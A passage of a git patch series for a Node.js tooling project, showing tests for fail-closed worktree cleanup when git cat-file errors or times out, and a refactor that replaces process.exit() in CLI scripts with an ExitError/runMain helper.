assert.equal(result.ok, true, 'cleanup can still succeed when cat-file returns 128 and worktree is clean'); + }); + + test('#706: cat-file timeout causes rescue to be skipped (fail-closed on unreliable git)', () => { + // Codex adversarial finding: on cat-file timeout, rescuing an actually-committed + // file would re-create the untracked collision. The fix treats timeout as + // "cannot determine status — skip rescue" (fail-closed). This means the merge + // will fail with merge_failed, which is the observable pre-fix behaviour and + // is recoverable, rather than silently corrupting the main tree. + // + // Fixture: cat-file returns timedOut:true. The cleanup must NOT rescue the + // SUMMARY (no copy). The merge will then succeed normally (SUMMARY is on the + // branch) or fail safely if the worktree status check catches something. + const rescued = []; + const plan = { + ok: true, + repoRoot: '/repo/main', + action: 'cleanup_wave', + discovery: 'manifest', + entries: [{ + agent_id: 'a1', + worktree_path: '/repo/.claude/worktrees/agent-a1', + branch: 'worktree-agent-a1', + expected_base: 'abc123', + }], + }; + const result = executeWorktreeWaveCleanupPlan(plan, { + execGit: (args) => { + const key = args.join(' '); + if (key === '-C /repo/.claude/worktrees/agent-a1 rev-parse --abbrev-ref HEAD') { + return { exitCode: 0, stdout: 'worktree-agent-a1', stderr: '' }; + } + if (key === 'merge-base HEAD worktree-agent-a1') { + return { exitCode: 0, stdout: 'abc123', stderr: '' }; + } + if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + // cat-file times out — cannot determine if SUMMARY is committed + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { + exitCode: null, + stdout: '', + stderr: '', + timedOut: true, + signal: 'SIGTERM', + error: Object.assign(new Error('spawnSync git ETIMEDOUT'), { code: 'ETIMEDOUT' }), + }; + } + if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { + // Worktree appears clean (SUMMARY is committed on branch) + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key.startsWith('merge worktree-agent-a1')) { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'worktree remove /repo/.claude/worktrees/agent-a1 --force') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'branch -D worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + return { exitCode: 0, stdout: '', stderr: '' }; + }, + findSummaryFiles: (worktreePath) => { + if (worktreePath === '/repo/.claude/worktrees/agent-a1') { + return ['/repo/.claude/worktrees/agent-a1/.planning/q1-SUMMARY.md']; + } + return []; + }, + readFileSync: () => 'summary content', + existsSync: () => false, + mkdirSync: () => {}, + copyFileSync: (src, dest) => { rescued.push({ src, dest }); }, + }); + + // On timeout, rescue must be skipped (fail-closed) — no copy into main tree + assert.equal(rescued.length, 0, + 'cat-file timeout must NOT rescue the SUMMARY — copying a committed file as untracked would recreate the #706 merge collision'); + // The rest of cleanup proceeds normally (merge/remove/delete succeed in this fixture) + assert.equal(result.ok, true, 'cleanup can still succeed when cat-file times out and worktree is clean'); + }); + test('blocks dirty worktrees before merge/remove/delete', () => { const calls = []; const plan = { From f729101eec95e55714f042c3d4048fae41b40dbe Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 16:13:13 -0400 Subject: [PATCH 27/94] refactor(scripts): replace process.exit() with ExitError + runMain handler (#739) (#740) Part 1 of 2 of the n/no-process-exit cleanup (umbrella #738): convert every process.exit() call in standalone scripts/** CLIs to the rule-compliant pattern. - New shared helper scripts/lib/cli-exit.cjs: ExitError(code,message) + runMain() which translates a thrown ExitError / returned number into process.exitCode (never process.exit()), flushing output and still firing process.on('exit'). - main()-based entrypoints: throw new ExitError(code) for errors, return for verdicts; invoked via runMain(main). Child exit codes preserved via return. - top-level-only scripts: imperative body extracted into main() so mid-flow aborts (throw ExitError) actually halt; pure consts/helpers stay at module scope. - diff-touches-shipped-paths.cjs: stdin event handling restructured to an async read so the whole flow runs under runMain; uncaughtException/unhandledRejection nets replaced by an in-band catch that preserves EXIT_ERROR=2. Exit codes verified unchanged for every converted script (success/error/help and the 0/1/2 semantic codes in diff-touches). Rule stays warn here; flipped to error in part 2 (#738) once gsd-core/bin/** is also clean. Refs #739 Co-authored-by: Claude Opus 4.8 --- scripts/affected-tests-lib.cjs | 3 +- scripts/changeset/cli.cjs | 24 +- scripts/changeset/lint.cjs | 9 +- scripts/changeset/new.cjs | 8 +- scripts/check-alias-drift.cjs | 148 +++---- scripts/check-env.cjs | 388 +++++++++--------- scripts/check-npm-integrity.cjs | 236 +++++------ scripts/ci-guard-runner.cjs | 16 +- scripts/ci-prepare-test-scope.cjs | 49 ++- scripts/ci-rebase-check.cjs | 88 ++-- scripts/ci-test-scope.cjs | 9 +- scripts/diff-touches-shipped-paths.cjs | 98 +++-- scripts/gen-inventory-manifest.cjs | 70 ++-- scripts/gen-research-agents.cjs | 18 +- scripts/lib/cli-exit.cjs | 56 +++ scripts/lint-command-contract.cjs | 52 +-- scripts/lint-descriptions.cjs | 62 +-- scripts/lint-docs-required.cjs | 8 +- scripts/lint-legacy-dir-name.cjs | 116 +++--- scripts/lint-pr-check-project-dir.cjs | 4 +- .../lint-shell-command-projection-drift.cjs | 49 ++- scripts/lint-skill-deps.cjs | 61 +-- scripts/lint-test-file-count.cjs | 9 +- scripts/mutation-matrix.cjs | 9 +- .../format-github-release-notes.cjs | 11 +- scripts/release-tarball-smoke.cjs | 10 +- scripts/run-affected-tests.cjs | 3 +- scripts/run-cross-platform-tests.cjs | 18 +- scripts/run-tests.cjs | 15 +- scripts/verify-npm-publish.cjs | 40 +- tests/cli-exit.test.cjs | 161 ++++++++ 31 files changed, 1074 insertions(+), 774 deletions(-) create mode 100644 scripts/lib/cli-exit.cjs create mode 100644 tests/cli-exit.test.cjs diff --git a/scripts/affected-tests-lib.cjs b/scripts/affected-tests-lib.cjs index c0ba24d5b..5d4c39060 100644 --- a/scripts/affected-tests-lib.cjs +++ b/scripts/affected-tests-lib.cjs @@ -4,6 +4,7 @@ const { execFileSync } = require('node:child_process'); const { readdirSync, readFileSync, existsSync } = require('node:fs'); const path = require('node:path'); +const { ExitError } = require('./lib/cli-exit.cjs'); const { suiteOf } = require('./run-tests.cjs'); const CRITICAL_PATHS = [ @@ -409,7 +410,7 @@ function runNodeTestFiles(repoRoot, files) { if (firstFailure === 0) firstFailure = code; } } - if (firstFailure !== 0) process.exit(firstFailure); + if (firstFailure !== 0) throw new ExitError(firstFailure); } function runSuite(repoRoot, suite) { diff --git a/scripts/changeset/cli.cjs b/scripts/changeset/cli.cjs index ee8749ccf..283120679 100755 --- a/scripts/changeset/cli.cjs +++ b/scripts/changeset/cli.cjs @@ -17,6 +17,7 @@ const fs = require('node:fs'); const path = require('node:path'); +const { ExitError, runMain } = require('../lib/cli-exit.cjs'); const { parseFragment } = require('./parse.cjs'); const { renderChangelog } = require('./render.cjs'); const { serializeChangelog, parseChangelog } = require('./serialize.cjs'); @@ -475,29 +476,26 @@ function main() { if (!parsed.ok) { process.stderr.write(`${parsed.error}\n`); process.stderr.write(usage()); - process.exit(2); + throw new ExitError(2); } const { opts } = parsed; if (opts.cmd !== 'render' && opts.cmd !== 'github-release-notes' && opts.cmd !== 'extract' && opts.cmd !== 'verify') { process.stderr.write(usage()); - process.exit(1); + throw new ExitError(1); } if (opts.cmd === 'render' && (!opts.version || !opts.date)) { - process.stderr.write('--version and --date are required for render\n'); - process.exit(2); + throw new ExitError(2, '--version and --date are required for render'); } if (opts.cmd === 'github-release-notes' && (!opts.fromRef || !opts.toRef)) { - process.stderr.write('--from and --to are required for github-release-notes\n'); - process.exit(2); + throw new ExitError(2, '--from and --to are required for github-release-notes'); } if (opts.cmd === 'extract' && (!opts.fromRef || !opts.toRef)) { process.stderr.write('--from and --to are required for extract\n'); process.stderr.write(usage()); - process.exit(1); + throw new ExitError(1); } if (opts.cmd === 'verify' && !opts.version) { - process.stderr.write('--version is required for verify\n'); - process.exit(2); + throw new ExitError(2, '--version is required for verify'); } if (opts.cmd === 'extract') { @@ -509,7 +507,7 @@ function main() { } else if (exitCode === 2) { process.stderr.write(`no releases found in range (from=${report.from}, to=${report.to})\n`); } - process.exit(exitCode); + return exitCode; } if (opts.cmd === 'verify') { @@ -521,7 +519,7 @@ function main() { } else { process.stderr.write(report.error + '\n'); } - process.exit(exitCode); + return exitCode; } const { exitCode, report } = opts.cmd === 'render' ? cmdRender(opts) : cmdGithubReleaseNotes(opts); @@ -541,9 +539,9 @@ function main() { } } } - process.exit(exitCode); + return exitCode; } -if (require.main === module) main(); +if (require.main === module) runMain(main); module.exports = { cmdRender, cmdExtract, cmdVerify, cmdGithubReleaseNotes, parseArgs, splitChangelog, assembleChangelog, listFragmentFiles, usage }; diff --git a/scripts/changeset/lint.cjs b/scripts/changeset/lint.cjs index 6b9a2aa35..4704147dd 100755 --- a/scripts/changeset/lint.cjs +++ b/scripts/changeset/lint.cjs @@ -60,6 +60,8 @@ function evaluateLint({ changedFiles, labels }) { return { ok: false, reason: LINT_REASON.FAIL_MISSING_FRAGMENT }; } +const { ExitError, runMain } = require('../lib/cli-exit.cjs'); + function main() { const fs = require('node:fs'); const cp = require('node:child_process'); @@ -87,8 +89,7 @@ function main() { ); changedFiles = out.split('\n').filter(Boolean); } catch (e) { - process.stderr.write(`could not compute diff: ${e.message}\n`); - process.exit(2); + throw new ExitError(2, `could not compute diff: ${e.message}`); } const verdict = evaluateLint({ changedFiles, labels }); @@ -102,9 +103,9 @@ function main() { process.stderr.write(`Run \`npm run changeset\` to create one, or add the \`${OPT_OUT_LABEL}\` label\n`); process.stderr.write(`if this PR genuinely has no user-facing impact (test refactor, CI tweak, etc.).\n`); } - process.exit(verdict.ok ? 0 : 1); + return verdict.ok ? 0 : 1; } -if (require.main === module) main(); +if (require.main === module) runMain(main); module.exports = { evaluateLint, LINT_REASON, OPT_OUT_LABEL, isUserFacing, isFragment }; diff --git a/scripts/changeset/new.cjs b/scripts/changeset/new.cjs index 3df75d023..ea88a534a 100755 --- a/scripts/changeset/new.cjs +++ b/scripts/changeset/new.cjs @@ -13,6 +13,7 @@ const fs = require('node:fs'); const path = require('node:path'); +const { ExitError, runMain } = require('../lib/cli-exit.cjs'); // Small word lists — keep the function simple and dependency-free. // Together this gives ~40 * 40 * 40 = 64,000 distinct names. The lint @@ -121,17 +122,16 @@ function main() { if (!parsed.ok) { process.stderr.write(`${parsed.error}\n`); process.stderr.write('usage: changeset/new.cjs --type --pr NNNN --body "..."\n'); - process.exit(2); + throw new ExitError(2); } const { opts } = parsed; if (!opts.type || !opts.pr || !opts.body) { - process.stderr.write('usage: changeset/new.cjs --type --pr NNNN --body "..."\n'); - process.exit(2); + throw new ExitError(2, 'usage: changeset/new.cjs --type --pr NNNN --body "..."'); } const file = scaffoldFragment(opts); process.stdout.write(`${path.relative(process.cwd(), file)}\n`); } -if (require.main === module) main(); +if (require.main === module) runMain(main); module.exports = { generateFragmentName, scaffoldFragment, parseArgs, ALLOWED_TYPES }; diff --git a/scripts/check-alias-drift.cjs b/scripts/check-alias-drift.cjs index cdc82ceb1..d5c3e2784 100644 --- a/scripts/check-alias-drift.cjs +++ b/scripts/check-alias-drift.cjs @@ -3,12 +3,14 @@ const fs = require('node:fs'); const path = require('node:path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + const ROOT = path.resolve(__dirname, '..'); const aliasesPath = path.join(ROOT, 'gsd-core', 'bin', 'lib', 'command-aliases.cjs'); function fail(message) { process.stderr.write(`${message}\n`); - process.exit(1); + throw new ExitError(1); } function ensureArray(value, name) { @@ -27,82 +29,86 @@ function assertNoDuplicates(values, label) { } } -if (!fs.existsSync(aliasesPath)) { - fail(`check:alias-drift: missing ${path.relative(ROOT, aliasesPath)}`); -} - -const aliases = require(aliasesPath); - -const families = [ - { - commandAliases: 'STATE_COMMAND_ALIASES', - subcommands: 'STATE_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'state-command-router.cjs'), - }, - { - commandAliases: 'VERIFY_COMMAND_ALIASES', - subcommands: 'VERIFY_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'verify-command-router.cjs'), - }, - { - commandAliases: 'INIT_COMMAND_ALIASES', - subcommands: 'INIT_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'init-command-router.cjs'), - }, - { - commandAliases: 'PHASE_COMMAND_ALIASES', - subcommands: 'PHASE_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'phase-command-router.cjs'), - }, - { - commandAliases: 'PHASES_COMMAND_ALIASES', - subcommands: 'PHASES_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'phases-command-router.cjs'), - }, - { - commandAliases: 'VALIDATE_COMMAND_ALIASES', - subcommands: 'VALIDATE_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'validate-command-router.cjs'), - }, - { - commandAliases: 'ROADMAP_COMMAND_ALIASES', - subcommands: 'ROADMAP_SUBCOMMANDS', - routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'roadmap-command-router.cjs'), - }, -]; - -for (const family of families) { - const commandAliases = aliases[family.commandAliases]; - const subcommands = aliases[family.subcommands]; - - ensureArray(commandAliases, family.commandAliases); - ensureArray(subcommands, family.subcommands); - - const derivedSubcommands = commandAliases.map((entry) => entry && entry.subcommand); - assertNoDuplicates(derivedSubcommands, `${family.commandAliases}.subcommand`); - - if (derivedSubcommands.length !== subcommands.length) { - fail( - `check:alias-drift: ${family.subcommands} length ${subcommands.length} does not match ` + - `${family.commandAliases} length ${derivedSubcommands.length}`, - ); +function main() { + if (!fs.existsSync(aliasesPath)) { + fail(`check:alias-drift: missing ${path.relative(ROOT, aliasesPath)}`); } - for (let i = 0; i < derivedSubcommands.length; i++) { - if (derivedSubcommands[i] !== subcommands[i]) { + const aliases = require(aliasesPath); + + const families = [ + { + commandAliases: 'STATE_COMMAND_ALIASES', + subcommands: 'STATE_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'state-command-router.cjs'), + }, + { + commandAliases: 'VERIFY_COMMAND_ALIASES', + subcommands: 'VERIFY_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'verify-command-router.cjs'), + }, + { + commandAliases: 'INIT_COMMAND_ALIASES', + subcommands: 'INIT_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'init-command-router.cjs'), + }, + { + commandAliases: 'PHASE_COMMAND_ALIASES', + subcommands: 'PHASE_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'phase-command-router.cjs'), + }, + { + commandAliases: 'PHASES_COMMAND_ALIASES', + subcommands: 'PHASES_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'phases-command-router.cjs'), + }, + { + commandAliases: 'VALIDATE_COMMAND_ALIASES', + subcommands: 'VALIDATE_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'validate-command-router.cjs'), + }, + { + commandAliases: 'ROADMAP_COMMAND_ALIASES', + subcommands: 'ROADMAP_SUBCOMMANDS', + routerPath: path.join(ROOT, 'gsd-core', 'bin', 'lib', 'roadmap-command-router.cjs'), + }, + ]; + + for (const family of families) { + const commandAliases = aliases[family.commandAliases]; + const subcommands = aliases[family.subcommands]; + + ensureArray(commandAliases, family.commandAliases); + ensureArray(subcommands, family.subcommands); + + const derivedSubcommands = commandAliases.map((entry) => entry && entry.subcommand); + assertNoDuplicates(derivedSubcommands, `${family.commandAliases}.subcommand`); + + if (derivedSubcommands.length !== subcommands.length) { fail( - `check:alias-drift: ${family.subcommands}[${i}] = "${subcommands[i]}" ` + - `does not match ${family.commandAliases}[${i}].subcommand = "${derivedSubcommands[i]}"`, + `check:alias-drift: ${family.subcommands} length ${subcommands.length} does not match ` + + `${family.commandAliases} length ${derivedSubcommands.length}`, + ); + } + + for (let i = 0; i < derivedSubcommands.length; i++) { + if (derivedSubcommands[i] !== subcommands[i]) { + fail( + `check:alias-drift: ${family.subcommands}[${i}] = "${subcommands[i]}" ` + + `does not match ${family.commandAliases}[${i}].subcommand = "${derivedSubcommands[i]}"`, + ); + } + } + + const routerSource = fs.readFileSync(family.routerPath, 'utf8'); + if (!routerSource.includes(family.subcommands)) { + fail( + `check:alias-drift: ${path.relative(ROOT, family.routerPath)} does not reference ${family.subcommands}`, ); } } - const routerSource = fs.readFileSync(family.routerPath, 'utf8'); - if (!routerSource.includes(family.subcommands)) { - fail( - `check:alias-drift: ${path.relative(ROOT, family.routerPath)} does not reference ${family.subcommands}`, - ); - } + process.stdout.write('check:alias-drift ok\n'); } -process.stdout.write('check:alias-drift ok\n'); +runMain(main); diff --git a/scripts/check-env.cjs b/scripts/check-env.cjs index 2ce274764..704ed1908 100644 --- a/scripts/check-env.cjs +++ b/scripts/check-env.cjs @@ -29,65 +29,16 @@ const fs = require('fs'); const path = require('path'); const { spawnSync } = require('child_process'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + // On Windows, npm ships as npm.cmd (a batch wrapper); spawnSync without // shell:true requires the exact filename including extension. const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm'; -// --------------------------------------------------------------------------- -// Argument parsing -// --------------------------------------------------------------------------- -let jsonMode = false; - -for (const arg of process.argv.slice(2)) { - if (arg === '--json') { - jsonMode = true; - } else if (arg === '--help' || arg === '-h') { - process.stdout.write( - 'scripts/check-env.cjs — Environment parity validator for contributors (issue #117).\n' + - '\n' + - 'Checks that the developer\'s environment matches project requirements before\n' + - 'running tests or audits. Designed to catch mismatches early rather than\n' + - 'through cryptic test failures.\n' + - '\n' + - 'Exit codes:\n' + - ' 0 All checks passed\n' + - ' 1 One or more checks failed\n' + - ' 2 Tool error (missing required tool, corrupt package.json, etc.)\n' + - '\n' + - 'Usage:\n' + - ' node scripts/check-env.cjs # Human-readable report\n' + - ' node scripts/check-env.cjs --json # Structured JSON report\n' + - ' node scripts/check-env.cjs --help # This message\n' - ); - process.exit(0); - } else { - process.stderr.write(`Unknown option: ${arg}\n`); - process.exit(2); - } -} - -// --------------------------------------------------------------------------- -// Locate the project root (directory containing package.json) -// --------------------------------------------------------------------------- -const PROJECT_ROOT = process.cwd(); -const PACKAGE_JSON = path.join(PROJECT_ROOT, 'package.json'); - -if (!fs.existsSync(PACKAGE_JSON)) { - process.stderr.write(`ERROR: package.json not found in ${PROJECT_ROOT}\n`); - process.exit(2); -} - // --------------------------------------------------------------------------- // Helpers // --------------------------------------------------------------------------- -/** @type {Array<{name: string, status: 'pass'|'fail'|'skip', message: string}>} */ -const checks = []; - -function addCheck(name, status, message) { - checks.push({ name, status, message }); -} - /** * Semver comparison: does `version` satisfy `constraint`? * Constraint forms: >=X.Y.Z, >X.Y.Z, <=X.Y.Z, } */ + const checks = []; + + function addCheck(name, status, message) { + checks.push({ name, status, message }); + } + + // --------------------------------------------------------------------------- + // Check 1: Node version vs engines.node + // --------------------------------------------------------------------------- + const enginesNode = pkgField('engines.node', PROJECT_ROOT); + let currentNode = ''; + try { + currentNode = process.version.replace(/^v/, ''); + } catch { /* ignore */ } + + if (!currentNode) { + addCheck('node-version', 'fail', 'node binary not found on PATH'); + } else if (!enginesNode) { + addCheck('node-version', 'fail', 'engines.node missing from package.json — add it (see D2 in docs/contributing/bootstrap.md)'); + } else { + if (satisfiesConstraint(currentNode, enginesNode)) { + addCheck('node-version', 'pass', `Node ${currentNode} satisfies ${enginesNode}`); + } else { + addCheck('node-version', 'fail', `Node ${currentNode} does NOT satisfy engines.node ${enginesNode}`); + } + } + + // --------------------------------------------------------------------------- + // Check 2: npm version vs engines.npm (skip if field absent) + // --------------------------------------------------------------------------- + const enginesNpm = pkgField('engines.npm', PROJECT_ROOT); + let currentNpm = ''; + try { + const res = spawnSync(npmCmd, ['--version'], { encoding: 'utf8', timeout: 10_000, shell: process.platform === 'win32' }); + if (res.status === 0 && res.stdout) { + currentNpm = res.stdout.trim(); + } + } catch { /* ignore */ } + + if (!enginesNpm) { + addCheck('npm-version', 'skip', 'engines.npm not set in package.json — skipping'); + } else if (!currentNpm) { + addCheck('npm-version', 'fail', 'npm binary not found on PATH'); + } else { + if (satisfiesConstraint(currentNpm, enginesNpm)) { + addCheck('npm-version', 'pass', `npm ${currentNpm} satisfies ${enginesNpm}`); + } else { + addCheck('npm-version', 'fail', `npm ${currentNpm} does NOT satisfy engines.npm ${enginesNpm}`); + } + } + + // --------------------------------------------------------------------------- + // Check 3: Lockfile presence + // --------------------------------------------------------------------------- + const LOCKFILE = path.join(PROJECT_ROOT, 'package-lock.json'); + if (fs.existsSync(LOCKFILE)) { + addCheck('lockfile-present', 'pass', 'package-lock.json exists'); + } else { + addCheck('lockfile-present', 'fail', "package-lock.json missing — run 'npm install' to generate it"); + } + + // --------------------------------------------------------------------------- + // Check 4: Lockfile sync (npm ci --dry-run) + // --------------------------------------------------------------------------- + if (fs.existsSync(LOCKFILE)) { + try { + // --ignore-scripts: this is a lockfile-vs-package.json sync check, not a + // build. Without it, npm would run the `prepare` lifecycle (build:lib via + // tsc) — which fails when check:env runs before deps are installed (tsc + // absent), misreporting an out-of-sync lockfile. ADR-457 build-at-publish. + const res = spawnSync(npmCmd, ['ci', '--dry-run', '--ignore-scripts'], { + cwd: PROJECT_ROOT, + encoding: 'utf8', + shell: process.platform === 'win32', + }); + if (res.status === 0) { + addCheck('lockfile-sync', 'pass', 'package-lock.json is in sync with package.json'); + } else { + addCheck('lockfile-sync', 'fail', "package-lock.json is out of sync — run 'npm ci' to restore"); + } + } catch { addCheck('lockfile-sync', 'fail', "package-lock.json is out of sync — run 'npm ci' to restore"); } - } catch { - addCheck('lockfile-sync', 'fail', "package-lock.json is out of sync — run 'npm ci' to restore"); - } -} else { - addCheck('lockfile-sync', 'skip', 'skipped — lockfile missing'); -} - -// --------------------------------------------------------------------------- -// Check 5: Version manager pin vs active Node -// Looks for .nvmrc, .node-version, or .tool-versions at project root. -// --------------------------------------------------------------------------- -const NVMRC = path.join(PROJECT_ROOT, '.nvmrc'); -const NODE_VERSION_FILE = path.join(PROJECT_ROOT, '.node-version'); -const TOOL_VERSIONS = path.join(PROJECT_ROOT, '.tool-versions'); - -let pinnedMajor = ''; -let pinSource = ''; - -if (fs.existsSync(NVMRC)) { - const content = fs.readFileSync(NVMRC, 'utf8').split('\n')[0].trim().replace(/^v/, ''); - pinnedMajor = content.split('.')[0]; - pinSource = '.nvmrc'; -} else if (fs.existsSync(NODE_VERSION_FILE)) { - const content = fs.readFileSync(NODE_VERSION_FILE, 'utf8').split('\n')[0].trim().replace(/^v/, ''); - pinnedMajor = content.split('.')[0]; - pinSource = '.node-version'; -} else if (fs.existsSync(TOOL_VERSIONS)) { - const lines = fs.readFileSync(TOOL_VERSIONS, 'utf8').split('\n'); - const nodeLine = lines.find(l => /^nodejs\s+/.test(l)); - if (nodeLine) { - const ver = nodeLine.split(/\s+/)[1] || ''; - pinnedMajor = ver.replace(/^v/, '').split('.')[0]; - pinSource = '.tool-versions'; - } -} - -if (!pinnedMajor) { - addCheck('version-manager-pin', 'skip', 'no .nvmrc, .node-version, or .tool-versions found — skipping'); -} else if (process.env.CI === 'true') { - addCheck('version-manager-pin', 'skip', 'CI=true — version-manager pin check skipped (matrix tests multiple Node majors)'); -} else { - const activeMajor = process.version.replace(/^v/, '').split('.')[0]; - if (activeMajor === pinnedMajor) { - addCheck('version-manager-pin', 'pass', `Active Node major (${activeMajor}) matches ${pinSource} pin (${pinnedMajor})`); } else { - addCheck('version-manager-pin', 'fail', `Active Node major (${activeMajor}) does NOT match ${pinSource} pin (${pinnedMajor}) — run 'nvm use' or equivalent`); + addCheck('lockfile-sync', 'skip', 'skipped — lockfile missing'); } -} -// --------------------------------------------------------------------------- -// Output -// --------------------------------------------------------------------------- -const overallPass = checks.every(c => c.status !== 'fail'); + // --------------------------------------------------------------------------- + // Check 5: Version manager pin vs active Node + // Looks for .nvmrc, .node-version, or .tool-versions at project root. + // --------------------------------------------------------------------------- + const NVMRC = path.join(PROJECT_ROOT, '.nvmrc'); + const NODE_VERSION_FILE = path.join(PROJECT_ROOT, '.node-version'); + const TOOL_VERSIONS = path.join(PROJECT_ROOT, '.tool-versions'); -if (jsonMode) { - // Structured JSON: {pass: bool, checks: [{name, status, message}]} - const out = { - pass: overallPass, - checks: checks.map(c => ({ name: c.name, status: c.status, message: c.message })), - }; - process.stdout.write(JSON.stringify(out, null, 2) + '\n'); -} else { - // Human-readable report - process.stdout.write('=== Environment Check ===\n'); - for (const { name, status, message } of checks) { - const icon = status === 'pass' ? '[PASS]' : status === 'fail' ? '[FAIL]' : '[SKIP]'; - const namePadded = name.padEnd(25); - process.stdout.write(` ${icon} ${namePadded} ${message}\n`); + let pinnedMajor = ''; + let pinSource = ''; + + if (fs.existsSync(NVMRC)) { + const content = fs.readFileSync(NVMRC, 'utf8').split('\n')[0].trim().replace(/^v/, ''); + pinnedMajor = content.split('.')[0]; + pinSource = '.nvmrc'; + } else if (fs.existsSync(NODE_VERSION_FILE)) { + const content = fs.readFileSync(NODE_VERSION_FILE, 'utf8').split('\n')[0].trim().replace(/^v/, ''); + pinnedMajor = content.split('.')[0]; + pinSource = '.node-version'; + } else if (fs.existsSync(TOOL_VERSIONS)) { + const lines = fs.readFileSync(TOOL_VERSIONS, 'utf8').split('\n'); + const nodeLine = lines.find(l => /^nodejs\s+/.test(l)); + if (nodeLine) { + const ver = nodeLine.split(/\s+/)[1] || ''; + pinnedMajor = ver.replace(/^v/, '').split('.')[0]; + pinSource = '.tool-versions'; + } } - process.stdout.write('\n'); - if (overallPass) { - process.stdout.write('Result: ALL CHECKS PASSED\n'); + + if (!pinnedMajor) { + addCheck('version-manager-pin', 'skip', 'no .nvmrc, .node-version, or .tool-versions found — skipping'); + } else if (process.env.CI === 'true') { + addCheck('version-manager-pin', 'skip', 'CI=true — version-manager pin check skipped (matrix tests multiple Node majors)'); } else { - process.stdout.write('Result: ONE OR MORE CHECKS FAILED — see above\n'); + const activeMajor = process.version.replace(/^v/, '').split('.')[0]; + if (activeMajor === pinnedMajor) { + addCheck('version-manager-pin', 'pass', `Active Node major (${activeMajor}) matches ${pinSource} pin (${pinnedMajor})`); + } else { + addCheck('version-manager-pin', 'fail', `Active Node major (${activeMajor}) does NOT match ${pinSource} pin (${pinnedMajor}) — run 'nvm use' or equivalent`); + } } + + // --------------------------------------------------------------------------- + // Output + // --------------------------------------------------------------------------- + const overallPass = checks.every(c => c.status !== 'fail'); + + if (jsonMode) { + // Structured JSON: {pass: bool, checks: [{name, status, message}]} + const out = { + pass: overallPass, + checks: checks.map(c => ({ name: c.name, status: c.status, message: c.message })), + }; + process.stdout.write(JSON.stringify(out, null, 2) + '\n'); + } else { + // Human-readable report + process.stdout.write('=== Environment Check ===\n'); + for (const { name, status, message } of checks) { + const icon = status === 'pass' ? '[PASS]' : status === 'fail' ? '[FAIL]' : '[SKIP]'; + const namePadded = name.padEnd(25); + process.stdout.write(` ${icon} ${namePadded} ${message}\n`); + } + process.stdout.write('\n'); + if (overallPass) { + process.stdout.write('Result: ALL CHECKS PASSED\n'); + } else { + process.stdout.write('Result: ONE OR MORE CHECKS FAILED — see above\n'); + } + } + + return overallPass ? 0 : 1; } -process.exit(overallPass ? 0 : 1); +runMain(main); diff --git a/scripts/check-npm-integrity.cjs b/scripts/check-npm-integrity.cjs index 8e08bd991..651c37429 100644 --- a/scripts/check-npm-integrity.cjs +++ b/scripts/check-npm-integrity.cjs @@ -16,62 +16,7 @@ const fs = require('fs'); const path = require('path'); -// ---- Argument parsing ------------------------------------------------------- - -let ignoreExtraneous = false; - -for (const arg of process.argv.slice(2)) { - if (arg === '--ignore-extraneous') { - ignoreExtraneous = true; - } else if (arg === '--help' || arg === '-h') { - process.stdout.write( - 'Usage: node scripts/check-npm-integrity.cjs [--ignore-extraneous]\n' - ); - process.exit(0); - } else { - process.stderr.write(`ERROR: Unknown argument: ${arg}\n`); - process.exit(2); - } -} - -// ---- Locate lockfile -------------------------------------------------------- - -const lockfilePath = path.join(process.cwd(), 'package-lock.json'); - -if (!fs.existsSync(lockfilePath)) { - process.stderr.write(`ERROR: package-lock.json not found in ${process.cwd()}\n`); - process.exit(2); -} - -// ---- Parse lockfile --------------------------------------------------------- - -let lock; -try { - lock = JSON.parse(fs.readFileSync(lockfilePath, 'utf-8')); -} catch (e) { - process.stderr.write(`ERROR: Failed to parse package-lock.json: ${e.message}\n`); - process.exit(2); -} - -const lockVersion = lock.lockfileVersion || 1; -if (lockVersion < 2) { - process.stderr.write( - `ERROR: package-lock.json lockfileVersion ${lockVersion} is not supported. ` + - 'Run `npm install` to upgrade to v3.\n' - ); - process.exit(2); -} - -const packages = lock.packages || {}; -const rootEntry = packages[''] || {}; - -// Collect declared dependency ranges from root entry. -const declaredRanges = {}; -for (const field of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) { - for (const [name, range] of Object.entries(rootEntry[field] || {})) { - if (!declaredRanges[name]) declaredRanges[name] = range; - } -} +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); // ---- Minimal semver satisfies ----------------------------------------------- @@ -132,78 +77,139 @@ function satisfies(installed, range) { return installed === range; } -// ---- Walk packages map ------------------------------------------------------ +function main() { + // ---- Argument parsing ------------------------------------------------------- -const invalids = []; -const missings = []; -const extraneousFound = []; + let ignoreExtraneous = false; -for (const [key, entry] of Object.entries(packages)) { - if (!key.startsWith('node_modules/')) continue; - const rest = key.slice('node_modules/'.length); - const isScoped = 